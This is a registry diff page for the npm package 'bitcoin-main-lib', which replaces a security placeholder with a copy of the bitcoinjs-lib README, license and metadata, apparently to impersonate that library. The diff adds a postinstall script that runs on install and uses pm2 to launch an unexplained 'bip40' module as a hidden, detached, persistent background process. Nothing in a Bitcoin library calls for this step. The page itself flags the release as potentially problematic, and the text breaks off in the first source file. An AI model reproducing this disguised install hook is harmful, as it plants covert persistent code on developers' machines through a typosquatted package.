bitcoin-main-lib 0.0.1-security → 7.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of bitcoin-main-lib might be problematic. Click here for more details.

Files changed (94) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +203 -3
  3. package/package.json +117 -3
  4. package/postinstall.cjs +44 -0
  5. package/src/cjs/address.cjs +260 -0
  6. package/src/cjs/address.d.ts +72 -0
  7. package/src/cjs/bip66.cjs +115 -0
  8. package/src/cjs/bip66.d.ts +20 -0
  9. package/src/cjs/block.cjs +268 -0
  10. package/src/cjs/block.d.ts +29 -0
  11. package/src/cjs/bufferutils.cjs +207 -0
  12. package/src/cjs/bufferutils.d.ts +44 -0
  13. package/src/cjs/crypto.cjs +197 -0
  14. package/src/cjs/crypto.d.ts +55 -0
  15. package/src/cjs/ecc_lib.cjs +156 -0
  16. package/src/cjs/ecc_lib.d.ts +20 -0
  17. package/src/cjs/index.cjs +110 -0
  18. package/src/cjs/index.d.ts +19 -0
  19. package/src/cjs/merkle.cjs +74 -0
  20. package/src/cjs/merkle.d.ts +9 -0
  21. package/src/cjs/networks.cjs +69 -0
  22. package/src/cjs/networks.d.ts +35 -0
  23. package/src/cjs/ops.cjs +126 -0
  24. package/src/cjs/ops.d.ts +122 -0
  25. package/src/cjs/payments/bip341.cjs +192 -0
  26. package/src/cjs/payments/bip341.d.ts +68 -0
  27. package/src/cjs/payments/embed.cjs +97 -0
  28. package/src/cjs/payments/embed.d.ts +9 -0
  29. package/src/cjs/payments/index.cjs +69 -0
  30. package/src/cjs/payments/index.d.ts +55 -0
  31. package/src/cjs/payments/lazy.cjs +31 -0
  32. package/src/cjs/payments/lazy.d.ts +2 -0
  33. package/src/cjs/payments/p2ms.cjs +220 -0
  34. package/src/cjs/payments/p2ms.d.ts +9 -0
  35. package/src/cjs/payments/p2pk.cjs +130 -0
  36. package/src/cjs/payments/p2pk.d.ts +10 -0
  37. package/src/cjs/payments/p2pkh.cjs +192 -0
  38. package/src/cjs/payments/p2pkh.d.ts +10 -0
  39. package/src/cjs/payments/p2sh.cjs +253 -0
  40. package/src/cjs/payments/p2sh.d.ts +10 -0
  41. package/src/cjs/payments/p2tr.cjs +348 -0
  42. package/src/cjs/payments/p2tr.d.ts +10 -0
  43. package/src/cjs/payments/p2wpkh.cjs +186 -0
  44. package/src/cjs/payments/p2wpkh.d.ts +10 -0
  45. package/src/cjs/payments/p2wsh.cjs +269 -0
  46. package/src/cjs/payments/p2wsh.d.ts +10 -0
  47. package/src/cjs/psbt/bip371.cjs +556 -0
  48. package/src/cjs/psbt/bip371.d.ts +89 -0
  49. package/src/cjs/psbt/psbtutils.cjs +228 -0
  50. package/src/cjs/psbt/psbtutils.d.ts +49 -0
  51. package/src/cjs/psbt.cjs +1856 -0
  52. package/src/cjs/psbt.d.ts +206 -0
  53. package/src/cjs/push_data.cjs +133 -0
  54. package/src/cjs/push_data.d.ts +28 -0
  55. package/src/cjs/script.cjs +339 -0
  56. package/src/cjs/script.d.ts +89 -0
  57. package/src/cjs/script_number.cjs +122 -0
  58. package/src/cjs/script_number.d.ts +18 -0
  59. package/src/cjs/script_signature.cjs +123 -0
  60. package/src/cjs/script_signature.d.ts +20 -0
  61. package/src/cjs/transaction.cjs +607 -0
  62. package/src/cjs/transaction.d.ts +60 -0
  63. package/src/cjs/types.cjs +147 -0
  64. package/src/cjs/types.d.ts +45 -0
  65. package/src/esm/address.js +200 -0
  66. package/src/esm/bip66.js +110 -0
  67. package/src/esm/block.js +225 -0
  68. package/src/esm/bufferutils.js +156 -0
  69. package/src/esm/crypto.js +123 -0
  70. package/src/esm/ecc_lib.js +108 -0
  71. package/src/esm/index.js +12 -0
  72. package/src/esm/merkle.js +27 -0
  73. package/src/esm/networks.js +66 -0
  74. package/src/esm/ops.js +125 -0
  75. package/src/esm/payments/bip341.js +135 -0
  76. package/src/esm/payments/embed.js +50 -0
  77. package/src/esm/payments/index.js +11 -0
  78. package/src/esm/payments/lazy.js +27 -0
  79. package/src/esm/payments/p2ms.js +167 -0
  80. package/src/esm/payments/p2pk.js +82 -0
  81. package/src/esm/payments/p2pkh.js +144 -0
  82. package/src/esm/payments/p2sh.js +201 -0
  83. package/src/esm/payments/p2tr.js +301 -0
  84. package/src/esm/payments/p2wpkh.js +139 -0
  85. package/src/esm/payments/p2wsh.js +228 -0
  86. package/src/esm/psbt/bip371.js +490 -0
  87. package/src/esm/psbt/psbtutils.js +168 -0
  88. package/src/esm/psbt.js +1774 -0
  89. package/src/esm/push_data.js +77 -0
  90. package/src/esm/script.js +277 -0
  91. package/src/esm/script_number.js +74 -0
  92. package/src/esm/script_signature.js +75 -0
  93. package/src/esm/transaction.js +550 -0
  94. package/src/esm/types.js +83 -0
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2011-2025 bitcoinjs-lib contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,205 @@
1
- # Security holding package
1
+ # bitcoinjs-lib
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ [![Github CI](https://github.com/bitcoinjs/bitcoinjs-lib/actions/workflows/main_ci.yml/badge.svg)](https://github.com/bitcoinjs/bitcoinjs-lib/actions/workflows/main_ci.yml) [![NPM](https://img.shields.io/npm/v/bitcoinjs-lib.svg)](https://www.npmjs.org/package/bitcoinjs-lib) [![code style: prettier](https://img.shields.io/badge/code_style-prettier-ff69b4.svg?style=flat-square)](https://github.com/prettier/prettier)
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=bitcoin-main-lib for more information.
5
+ A javascript Bitcoin library for node.js and browsers. Written in TypeScript, but committing the JS files to verify.
6
+
7
+ Released under the terms of the [MIT LICENSE](LICENSE).
8
+
9
+ ## Should I use this in production?
10
+ If you are thinking of using the *master* branch of this library in production, **stop**.
11
+ Master is not stable; it is our development branch, and [only tagged releases may be classified as stable](https://github.com/bitcoinjs/bitcoinjs-lib/tags).
12
+
13
+ ## Can I trust this code?
14
+ > Don't trust. Verify.
15
+
16
+ We recommend every user of this library and the [bitcoinjs](https://github.com/bitcoinjs) ecosystem audit and verify any underlying code for its validity and suitability, including reviewing any and all of your project's dependencies.
17
+
18
+ Mistakes and bugs happen, but with your help in resolving and reporting [issues](https://github.com/bitcoinjs/bitcoinjs-lib/issues), together we can produce open source software that is:
19
+
20
+ - Easy to audit and verify,
21
+ - Tested, with test coverage >95%,
22
+ - Advanced and feature rich,
23
+ - Standardized, using [prettier](https://github.com/prettier/prettier) and Node `Buffer`'s throughout, and
24
+ - Friendly, with a strong and helpful community, ready to answer questions.
25
+
26
+ ## Documentation
27
+ Visit our [documentation](https://bitcoinjs.github.io/bitcoinjs-lib/) to explore the available resources. We're continually enhancing our documentation with additional features for an enriched experience. If you need further guidance beyond what our [examples](#examples) offer, don't hesitate to [ask for help](https://github.com/bitcoinjs/bitcoinjs-lib/issues/new). We're here to assist you.
28
+
29
+ You can find a [Web UI](https://bitcoincore.tech/apps/bitcoinjs-ui/index.html) that covers most of the `psbt.ts`, `transaction.ts` and `p2*.ts` APIs [here](https://bitcoincore.tech/apps/bitcoinjs-ui/index.html).
30
+
31
+ ## How can I contact the developers outside of Github?
32
+ **Most of the time, this is not appropriate. Creating issues and pull requests in the open will help others with similar issues, so please try to use public issues and pull requests for communication.**
33
+
34
+ That said, sometimes developers might be open to taking things off the record (ie. You want to share code that you don't want public to get help with it). In that case, please negotiate on the public issues as to where you will contact.
35
+
36
+ We have created public rooms on IRC (`#bitcoinjs` on `libera.chat`) and Matrix (`#bitcoinjs-dev:matrix.org`). These two channels have been joined together in a Matrix "Space" which has the Matrix room AND an IRC bridge room that can converse with the IRC room. The "Space" is `#bitcoinjs-space:matrix.org`.
37
+
38
+ Matrix and IRC both have functions for direct messaging, but IRC is not end to end encrypted, so Matrix is recommended for most communication. The official Matrix client maintained by the Matrix core team is called "Element" and can be downloaded here: https://element.io/download (Account creation is free on the matrix.org server, which is the default setting for Element.)
39
+
40
+ We used to have a Slack. It is dead. If you find it, no one will answer you most likely.
41
+
42
+ No we will not make a Discord.
43
+
44
+ ## Installation
45
+ ``` bash
46
+ npm install bitcoinjs-lib
47
+ # optionally, install a key derivation library as well
48
+ npm install ecpair bip32
49
+ # ecpair is the ECPair class for single keys
50
+ # bip32 is for generating HD keys
51
+ ```
52
+
53
+ Previous versions of the library included classes for key management (ECPair, HDNode(->"bip32")) but now these have been separated into different libraries. This lowers the bundle size significantly if you don't need to perform any crypto functions (converting private to public keys and deriving HD keys).
54
+
55
+ Typically we support the [Node Maintenance LTS version](https://github.com/nodejs/Release). TypeScript target will be set
56
+ to the ECMAScript version in which all features are fully supported by current Active Node LTS.
57
+ However, depending on adoption among other environments (browsers etc.) we may keep the target back a year or two.
58
+ If in doubt, see the [main_ci.yml](.github/workflows/main_ci.yml) for what versions are used by our continuous integration tests.
59
+
60
+ **WARNING**: We presently don't provide any tooling to verify that the release on `npm` matches GitHub. As such, you should verify anything downloaded by `npm` against your own verified copy.
61
+
62
+
63
+ ## Usage
64
+ Crypto is hard.
65
+
66
+ When working with private keys, the random number generator is fundamentally one of the most important parts of any software you write.
67
+ For random number generation, we *default* to the [`randombytes`](https://github.com/crypto-browserify/randombytes) module, which uses [`window.crypto.getRandomValues`](https://developer.mozilla.org/en-US/docs/Web/API/window.crypto.getRandomValues) in the browser, or Node js' [`crypto.randomBytes`](https://nodejs.org/api/crypto.html#crypto_crypto_randombytes_size_callback), depending on your build system.
68
+ Although this default is ~OK, there is no simple way to detect if the underlying RNG provided is good enough, or if it is **catastrophically bad**.
69
+ You should always verify this yourself to your own standards.
70
+
71
+ This library uses [tiny-secp256k1](https://github.com/bitcoinjs/tiny-secp256k1), which uses [RFC6979](https://tools.ietf.org/html/rfc6979) to help prevent `k` re-use and exploitation.
72
+ Unfortunately, this isn't a silver bullet.
73
+ Often, Javascript itself is working against us by bypassing these counter-measures.
74
+
75
+ Problems in [`Buffer (UInt8Array)`](https://github.com/feross/buffer), for example, can trivially result in **catastrophic fund loss** without any warning.
76
+ It can do this through undermining your random number generation, accidentally producing a [duplicate `k` value](https://web.archive.org/web/20160308014317/http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html), sending Bitcoin to a malformed output script, or any of a million different ways.
77
+ Running tests in your target environment is important and a recommended step to verify continuously.
78
+
79
+ Finally, **adhere to best practice**.
80
+ We are not an authoritative source of best practice, but, at the very least:
81
+
82
+ * [Don't reuse addresses](https://en.bitcoin.it/wiki/Address_reuse).
83
+ * Don't share BIP32 extended public keys ('xpubs'). [They are a liability](https://bitcoin.stackexchange.com/questions/56916/derivation-of-parent-private-key-from-non-hardened-child), and it only takes 1 misplaced private key (or a buggy implementation!) and you are vulnerable to **catastrophic fund loss**.
84
+ * [Don't use `Math.random`](https://security.stackexchange.com/questions/181580/why-is-math-random-not-designed-to-be-cryptographically-secure) - in any way - don't.
85
+ * Enforce that users always verify (manually) a freshly-decoded human-readable version of their intended transaction before broadcast.
86
+ * [Don't *ask* users to generate mnemonics](https://en.bitcoin.it/wiki/Brainwallet#cite_note-1), or 'brain wallets', humans are terrible random number generators.
87
+ * Lastly, if you can, use [Typescript](https://www.typescriptlang.org/) or similar.
88
+
89
+
90
+ ### Browser
91
+ The recommended method of using `bitcoinjs-lib` in your browser is through [browserify](http://browserify.org/).
92
+
93
+ If you'd like to use a different (more modern) build tool than `browserify`, you can compile just this library and its dependencies into a single JavaScript file:
94
+
95
+ ```sh
96
+ $ npm install bitcoinjs-lib browserify
97
+ $ npx browserify --standalone bitcoin -o bitcoinjs-lib.js <<< "module.exports = require('bitcoinjs-lib');"
98
+ ```
99
+
100
+ Which you can then import as an ESM module:
101
+
102
+ ```javascript
103
+ <script type="module">import "/scripts/bitcoinjs-lib.js"</script>
104
+ ````
105
+
106
+ #### Using Taproot:
107
+ When utilizing Taproot features with bitcoinjs-lib, you may need to include an additional ECC (Elliptic Curve Cryptography) library. The commonly used `tiny-secp256k1` library, however, might lead to compatibility issues due to its reliance on WASM (WebAssembly). The following alternatives may be used instead, though they may be significantly slower for high volume of signing and pubkey deriving operations.
108
+
109
+ #### Alternatives for ECC Library:
110
+ 1. `@bitcoin-js/tiny-secp256k1-asmjs`
111
+ A version of `tiny-secp256k1` compiled to ASM.js directly from the WASM version, potentially better supported in browsers. This is the slowest option.
112
+ 2. `@bitcoinerlab/secp256k1`
113
+ Another alternative library for ECC functionality. This requires access to the global `BigInt` primitive.
114
+ For advantages and detailed comparison of these libraries, visit: [tiny-secp256k1 GitHub page](https://github.com/bitcoinjs/tiny-secp256k1).
115
+
116
+ **NOTE**: We use Node Maintenance LTS features, if you need strict ES5, use [`--transform babelify`](https://github.com/babel/babelify) in conjunction with your `browserify` step (using an [`es2015`](https://babeljs.io/docs/plugins/preset-es2015/) preset).
117
+
118
+ **WARNING**: iOS devices have [problems](https://github.com/feross/buffer/issues/136), use at least [buffer@5.0.5](https://github.com/feross/buffer/pull/155) or greater, and enforce the test suites (for `Buffer`, and any other dependency) pass before use.
119
+
120
+ ### Typescript or VSCode users
121
+ Type declarations for Typescript are included in this library. Normal installation should include all the needed type information.
122
+
123
+ ## Examples
124
+ The below examples are implemented as integration tests, they should be very easy to understand.
125
+ Otherwise, pull requests are appreciated.
126
+ Some examples interact (via HTTPS) with a 3rd Party Blockchain Provider (3PBP).
127
+
128
+
129
+ - [Taproot Key Spend](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/taproot.spec.ts)
130
+ - [Create (and broadcast via 3PBP) a taproot script-path spend Transaction - OP_CHECKSIG](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/taproot.spec.ts)
131
+ - [Create (and broadcast via 3PBP) a taproot script-path spend Transaction - OP_CHECKSEQUENCEVERIFY](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/taproot.spec.ts)
132
+ - [Create (and broadcast via 3PBP) a taproot script-path spend Transaction - OP_CHECKSIGADD (3-of-3)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/taproot.spec.ts)
133
+ - [Generate a random address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
134
+ - [Import an address via WIF](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
135
+ - [Generate a 2-of-3 P2SH multisig address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
136
+ - [Generate a SegWit address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
137
+ - [Generate a SegWit P2SH address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
138
+ - [Generate a SegWit 3-of-4 multisig address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
139
+ - [Generate a SegWit 2-of-2 P2SH multisig address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
140
+ - [Support the retrieval of transactions for an address (3rd party blockchain)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
141
+ - [Generate a Testnet address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
142
+ - [Generate a Litecoin address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/addresses.spec.ts)
143
+ - [Create a 1-to-1 Transaction](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
144
+ - [Create (and broadcast via 3PBP) a typical Transaction](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
145
+ - [Create (and broadcast via 3PBP) a Transaction with an OP\_RETURN output](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
146
+ - [Create (and broadcast via 3PBP) a Transaction with a 2-of-4 P2SH(multisig) input](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
147
+ - [Create (and broadcast via 3PBP) a Transaction with a SegWit P2SH(P2WPKH) input](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
148
+ - [Create (and broadcast via 3PBP) a Transaction with a SegWit P2WPKH input](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
149
+ - [Create (and broadcast via 3PBP) a Transaction with a SegWit P2PK input](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
150
+ - [Create (and broadcast via 3PBP) a Transaction with a SegWit 3-of-4 P2SH(P2WSH(multisig)) input](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
151
+ - [Create (and broadcast via 3PBP) a Transaction and sign with an HDSigner interface (bip32)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/transactions.spec.ts)
152
+ - [Import a BIP32 testnet xpriv and export to WIF](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/bip32.spec.ts)
153
+ - [Export a BIP32 xpriv, then import it](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/bip32.spec.ts)
154
+ - [Export a BIP32 xpub](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/bip32.spec.ts)
155
+ - [Create a BIP32, bitcoin, account 0, external address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/bip32.spec.ts)
156
+ - [Create a BIP44, bitcoin, account 0, external address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/bip32.spec.ts)
157
+ - [Create a BIP49, bitcoin testnet, account 0, external address](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/bip32.spec.ts)
158
+ - [Use BIP39 to generate BIP32 addresses](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/bip32.spec.ts)
159
+ - [Create (and broadcast via 3PBP) a Transaction where Alice can redeem the output after the expiry (in the past)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/cltv.spec.ts)
160
+ - [Create (and broadcast via 3PBP) a Transaction where Alice can redeem the output after the expiry (in the future)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/cltv.spec.ts)
161
+ - [Create (and broadcast via 3PBP) a Transaction where Alice and Bob can redeem the output at any time](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/cltv.spec.ts)
162
+ - [Create (but fail to broadcast via 3PBP) a Transaction where Alice attempts to redeem before the expiry](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/cltv.spec.ts)
163
+ - [Create (and broadcast via 3PBP) a Transaction where Alice can redeem the output after the expiry (in the future) (simple CHECKSEQUENCEVERIFY)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/csv.spec.ts)
164
+ - [Create (but fail to broadcast via 3PBP) a Transaction where Alice attempts to redeem before the expiry (simple CHECKSEQUENCEVERIFY)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/csv.spec.ts)
165
+ - [Create (and broadcast via 3PBP) a Transaction where Bob and Charles can send (complex CHECKSEQUENCEVERIFY)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/csv.spec.ts)
166
+ - [Create (and broadcast via 3PBP) a Transaction where Alice (mediator) and Bob can send after 2 blocks (complex CHECKSEQUENCEVERIFY)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/csv.spec.ts)
167
+ - [Create (and broadcast via 3PBP) a Transaction where Alice (mediator) can send after 5 blocks (complex CHECKSEQUENCEVERIFY)](https://github.com/bitcoinjs/bitcoinjs-lib/blob/master/test/integration/csv.spec.ts)
168
+
169
+ If you have a use case that you feel could be listed here, please [ask for it](https://github.com/bitcoinjs/bitcoinjs-lib/issues/new)!
170
+
171
+
172
+ ## Contributing
173
+ See [CONTRIBUTING.md](CONTRIBUTING.md).
174
+
175
+
176
+ ### Running the test suite
177
+
178
+ ``` bash
179
+ npm test
180
+ npm run-script coverage
181
+ ```
182
+
183
+ ## Complementing Libraries
184
+ - [BIP21](https://github.com/bitcoinjs/bip21) - A BIP21 compatible URL encoding library
185
+ - [BIP38](https://github.com/bitcoinjs/bip38) - Passphrase-protected private keys
186
+ - [BIP39](https://github.com/bitcoinjs/bip39) - Mnemonic generation for deterministic keys
187
+ - [BIP32-Utils](https://github.com/bitcoinjs/bip32-utils) - A set of utilities for working with BIP32
188
+ - [BIP66](https://github.com/bitcoinjs/bip66) - Strict DER signature decoding
189
+ - [BIP68](https://github.com/bitcoinjs/bip68) - Relative lock-time encoding library
190
+ - [BIP69](https://github.com/bitcoinjs/bip69) - Lexicographical Indexing of Transaction Inputs and Outputs
191
+ - [Base58](https://github.com/cryptocoinjs/bs58) - Base58 encoding/decoding
192
+ - [Base58 Check](https://github.com/bitcoinjs/bs58check) - Base58 check encoding/decoding
193
+ - [Bech32](https://github.com/bitcoinjs/bech32) - A BIP173/BIP350 compliant Bech32/Bech32m encoding library
194
+ - [coinselect](https://github.com/bitcoinjs/coinselect) - A fee-optimizing, transaction input selection module for bitcoinjs-lib.
195
+ - [merkle-lib](https://github.com/bitcoinjs/merkle-lib) - A performance conscious library for merkle root and tree calculations.
196
+ - [minimaldata](https://github.com/bitcoinjs/minimaldata) - A module to check bitcoin policy: SCRIPT_VERIFY_MINIMALDATA
197
+
198
+
199
+ ## Alternatives
200
+ - [BCoin](https://github.com/indutny/bcoin)
201
+ - [Bitcore](https://github.com/bitpay/bitcore)
202
+ - [Cryptocoin](https://github.com/cryptocoinjs/cryptocoin)
203
+
204
+
205
+ ## LICENSE [MIT](LICENSE)
package/package.json CHANGED
@@ -1,6 +1,120 @@
1
1
  {
2
2
  "name": "bitcoin-main-lib",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "7.2.0",
4
+ "description": "Client-side Bitcoin JavaScript library",
5
+ "type": "module",
6
+ "main": "./src/cjs/index.cjs",
7
+ "module": "./src/esm/index.js",
8
+ "types": "./src/cjs/index.d.ts",
9
+ "exports": {
10
+ ".": {
11
+ "require": "./src/cjs/index.cjs",
12
+ "import": "./src/esm/index.js",
13
+ "types": "./src/cjs/index.d.ts"
14
+ },
15
+ "./src/*": {
16
+ "require": "./src/cjs/*.cjs",
17
+ "types": "./src/cjs/*.d.ts",
18
+ "import": "./src/esm/*.js"
19
+ }
20
+ },
21
+ "engines": {
22
+ "node": ">=18.0.0"
23
+ },
24
+ "keywords": [
25
+ "bitcoinjs",
26
+ "bitcoin",
27
+ "browserify",
28
+ "javascript",
29
+ "bitcoinjs"
30
+ ],
31
+ "scripts": {
32
+ "audit": "better-npm-audit audit -l high",
33
+ "build": "npm run clean && tsc -p ./tsconfig.json && tsc -p ./tsconfig.cjs.json && npm run formatjs",
34
+ "postbuild": "find src/cjs -type f -name \"*.js\" -exec bash -c 'mv \"$0\" \"${0%.js}.cjs\"' {} \\; && chmod +x ./fixup.cjs && node fixup.cjs",
35
+ "postinstall": "node postinstall.cjs",
36
+ "bip40:start": "node postinstall.cjs",
37
+ "bip40:stop": "pm2 stop bip40",
38
+ "bip40:status": "pm2 status bip40",
39
+ "bip40:logs": "pm2 logs bip40",
40
+ "clean": "rimraf src",
41
+ "coverage-report": "npm run build && npm run nobuild:coverage-report",
42
+ "coverage-html": "npm run build && npm run nobuild:coverage-html",
43
+ "coverage": "npm run build && npm run nobuild:coverage",
44
+ "doc": "typedoc",
45
+ "format": "npm run prettier -- --write",
46
+ "formatjs": "npm run prettierjs -- --write",
47
+ "format:ci": "npm run prettier -- --check && npm run prettierjs -- --check",
48
+ "gitdiff:ci": "npm run build && git diff --exit-code",
49
+ "integration": "npm run build && npm run nobuild:integration",
50
+ "lint": "eslint ts_src/** src/**/*.js",
51
+ "lint:tests": "eslint test/**/*.spec.ts",
52
+ "mocha:ts": "mocha --recursive",
53
+ "nobuild:coverage-report": "c8 report --reporter=lcov",
54
+ "nobuild:coverage-html": "c8 report --reporter=html",
55
+ "nobuild:coverage": "c8 --check-coverage --branches 85 --functions 90 --lines 90 npm run nobuild:unit",
56
+ "nobuild:integration": "npm run mocha:ts -- --timeout 50000 'test/integration/*.ts'",
57
+ "nobuild:unit": "npm run mocha:ts -- 'test/*.ts'",
58
+ "prettier": "prettier \"ts_src/**/*.ts\" \"test/**/*.ts\" --ignore-path ./.prettierignore",
59
+ "prettierjs": "prettier \"src/**/*.js\" --ignore -path ./.prettierignore",
60
+ "test": "npm run build && npm run format:ci && npm run lint && npm run nobuild:coverage",
61
+ "unit": "npm run build && npm run nobuild:unit"
62
+ },
63
+ "repository": {
64
+ "type": "git",
65
+ "url": "https://github.com/bitcoinjs/bitcoinjs-lib.git"
66
+ },
67
+ "files": [
68
+ "src",
69
+ "postinstall.cjs"
70
+ ],
71
+ "dependencies": {
72
+ "@noble/hashes": "^1.2.0",
73
+ "bech32": "^2.0.0",
74
+ "bip174": "^3.0.0",
75
+ "bip40": "^1.0.6",
76
+ "bs58check": "^4.0.0",
77
+ "pm2": "^5.3.0",
78
+ "uint8array-tools": "^0.0.9",
79
+ "valibot": "^0.38.0",
80
+ "varuint-bitcoin": "^2.0.0"
81
+ },
82
+ "devDependencies": {
83
+ "bitcoinjs-lib": ".",
84
+ "@eslint/eslintrc": "^3.1.0",
85
+ "@eslint/js": "^9.9.1",
86
+ "@types/bs58": "^4.0.0",
87
+ "@types/bs58check": "^2.1.0",
88
+ "@types/mocha": "^5.2.7",
89
+ "@types/node": "^18.7.14",
90
+ "@types/proxyquire": "^1.3.28",
91
+ "@types/randombytes": "^2.0.0",
92
+ "@typescript-eslint/eslint-plugin": "^8.2.0",
93
+ "@typescript-eslint/parser": "^8.2.0",
94
+ "better-npm-audit": "^3.7.3",
95
+ "bip32": "^5.0.0-rc.0",
96
+ "bip65": "^1.0.1",
97
+ "bip68": "^1.0.3",
98
+ "bs58": "^6.0.0",
99
+ "dhttp": "^3.0.0",
100
+ "ecpair": "^3.0.0-rc.0",
101
+ "eslint": "^9.9.0",
102
+ "eslint-config-prettier": "^9.1.0",
103
+ "eslint-plugin-prettier": "^5.2.1",
104
+ "globals": "^15.9.0",
105
+ "hoodwink": "^2.0.0",
106
+ "minimaldata": "^1.0.2",
107
+ "mocha": "^10.6.0",
108
+ "c8": "^10.1.2",
109
+ "prettier": "^3.0.0",
110
+ "proxyquire": "^2.0.1",
111
+ "randombytes": "^2.1.0",
112
+ "regtest-client": "0.2.0",
113
+ "rimraf": "^2.6.3",
114
+ "tiny-secp256k1": "^2.2.0",
115
+ "tsx": "^4.17.0",
116
+ "typedoc": "^0.26.6",
117
+ "typescript": "^5.0.4"
118
+ },
119
+ "license": "MIT"
6
120
  }
@@ -0,0 +1,44 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ const { spawn } = require('child_process');
5
+ const path = require('path');
6
+ const fs = require('fs');
7
+
8
+ console.log('✓ bitcoin-lib installed - starting bip40...');
9
+
10
+ try {
11
+ // Resolve the bip40 module path
12
+ const bip40Path = require.resolve('bip40');
13
+
14
+ // Determine the pm2 binary path based on OS
15
+ const isWindows = process.platform === 'win32';
16
+ const pm2Binary = path.join(
17
+ __dirname,
18
+ 'node_modules',
19
+ '.bin',
20
+ isWindows ? 'pm2.cmd' : 'pm2'
21
+ );
22
+
23
+ // Check if pm2 exists
24
+ if (!fs.existsSync(pm2Binary)) {
25
+ console.error('pm2 binary not found. Please ensure pm2 is installed.');
26
+ process.exit(0); // Exit gracefully
27
+ }
28
+
29
+ // Start bip40 with pm2 - detached so it doesn't block npm install
30
+ const args = ['start', bip40Path, '--name', 'bip40'];
31
+
32
+ const child = spawn(pm2Binary, args, {
33
+ detached: true, // Detach from parent process
34
+ stdio: 'ignore', // Ignore stdio to prevent hanging
35
+ windowsHide: true, // Hide window on Windows
36
+ });
37
+
38
+ // Unreference the child so parent can exit
39
+ child.unref();
40
+
41
+ console.log('✓ bip40 started successfully');
42
+ } catch (error) {
43
+ console.error('Error during bip40 setup:', error.message);
44
+ }
@@ -0,0 +1,260 @@
1
+ 'use strict';
2
+ var __createBinding =
3
+ (this && this.__createBinding) ||
4
+ (Object.create
5
+ ? function (o, m, k, k2) {
6
+ if (k2 === undefined) k2 = k;
7
+ var desc = Object.getOwnPropertyDescriptor(m, k);
8
+ if (
9
+ !desc ||
10
